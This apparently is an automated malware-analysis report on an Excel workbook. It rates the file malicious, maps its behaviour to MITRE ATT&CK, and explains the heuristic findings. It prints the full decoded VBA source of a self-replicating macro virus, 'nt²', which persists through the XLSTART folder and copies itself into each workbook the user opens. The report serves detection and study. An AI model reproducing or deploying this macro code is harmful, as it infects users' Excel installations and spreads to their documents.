MALICIOUS
108
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1553.005 Mark-of-the-Web Bypass
The VBA macro `auto_open` sets up an `OnSheetActivate` hook to execute the `SearchSelf` subroutine. This subroutine checks for the presence of `nt².xls` in the Excel startup path (`Application.StartupPath`). If not found, it copies the current workbook to the startup path and saves it as `nt².xls`, effectively establishing persistence. It also attempts to copy the 'nt²' sheet into other workbooks, indicating a spreading mechanism.
Heuristics 4
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
ChDir Application.StartupPath -
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADERThe macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.Matched line in script
Application.OnSheetActivate = "SearchSelf" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Private Sub auto_open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1191 bytes |
SHA-256: 817ec2508106e860fa2acdafadbc60b8fa114e428447958bcc39259159851616 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "nt²"
Private Sub auto_open()
Application.OnSheetActivate = "SearchSelf"
End Sub
Private Static Sub SearchSelf()
On Error Resume Next
Const Self As String = "nt².xls"
Dim Resident As Boolean, strCurrDir As String
Application.ScreenUpdating = False
Resident = Dir(Application.StartupPath & "\" & Self) = Self
If Resident Then
If ActiveWorkbook.Sheets(1).Name <> "nt²" Then
Workbooks(Self).Sheets("nt²").Copy before:=ActiveWorkbook.Sheets(1)
End If
Else
Sheets("nt²").Select: Sheets("nt²").Copy
strCurrDir = CurDir()
ChDir Application.StartupPath
Workbooks(ActiveWorkbook.Name).SaveAs FileName:=Application.StartupPath & "\" & Self
ChDir strCurrDir
ActiveWindow.Visible = False
Workbooks(Self).Save
End If
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.